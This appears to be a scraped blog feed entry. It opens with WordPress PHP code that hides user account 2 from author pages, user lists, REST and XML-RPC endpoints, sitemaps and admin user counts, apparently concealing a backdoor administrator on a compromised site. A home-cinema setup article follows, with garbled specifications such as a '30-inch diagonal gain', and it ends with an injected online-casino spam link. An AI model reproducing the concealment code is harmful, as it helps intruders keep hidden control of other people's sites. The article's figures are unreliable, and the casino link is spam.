add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Step 1: Pick a Quiet Corner and Map the Space appeared first on la strada & cies.
]]>For a DIY screen, cut a 120‑inch piece of matte gray fabric from a large sheet of stretched canvas. Attach it to a simple frame of 2‑x‑4 lumber and secure it with tension rods. If you prefer a ready‑made option, a 100‑inch wall‑mount screen costs around $200 and offers a 30‑inch diagonal gain for a clearer image. Make sure the screen surface is level; a slight tilt can throw the picture off.
Buy a 5.1 surround sound receiver for about $300. Connect a pair of 2‑way speakers to the front channels, a subwoofer for bass, and a pair of rear speakers. Position the front speakers at ear level, 1.5 feet from the screen, and the rear speakers 3 feet behind the seating area. A common mistake is to leave the subwoofer too close to a wall; place it at least 12 inches away to avoid booming.
Inflatable bean‑bags or a small sectional sofa can fit a 12‑person group in a 12‑by‑10 room. Place the seating 10 feet from the screen. Add a small, fold‑out table for snacks, and a lamp with a dimmer switch for soft lighting. If you have a projector, use a ceiling mount to keep the projector out of the way.
Install a pair of LED strip lights behind the screen to create a subtle backlight. Set them to a warm amber color at 20% brightness. For a darker room, use blackout curtains; a single pair of heavy drapes can cut ambient light by 90%. Remember to leave a small window for ventilation if you’re using a projector that generates heat.

Run a 4K movie on a streaming service for 15 minutes. Check that the image is sharp and the audio levels are balanced. Adjust the speaker positions if the sound seems to come from one side. If the projector throws a 4K image at 120 inches, the pixel density should be at least 0.5 pixels per degree; otherwise the picture will look pixelated.
Place a mini fridge or cooler beside the seating area for drinks. Keep popcorn in a small pot and add a handful of pretzels. A small tabletop espresso machine can serve hot coffee for a late‑night marathon. Keep the station within arm’s reach to avoid breaking the flow of the movie.
Use a single HDMI cable to connect the streaming device to the receiver. Label the cable with a sticky note to avoid confusion during a multi‑device night. If you’re using a projector, keep the lens clean with a microfiber cloth; a smudge can ruin the entire viewing experience.
Many DIY setups forget to plan for power outlets. A surge protector with at least 10 outlets and a built‑in UPS can protect your gear and keep the lights on during a long session. Without it, a sudden power cut could ruin a marathon and leave you scrambling.
After a night of cinematic bliss, you might want to try a different kind of digital escape. https://fatbetcasinoonline.com offers a variety of online games that can keep the excitement going without the need for a projector or speakers.
With these steps, you’ll have a functional, cozy home cinema that turns any weekend into a movie‑night retreat. Enjoy the show!
The post Step 1: Pick a Quiet Corner and Map the Space appeared first on la strada & cies.
]]>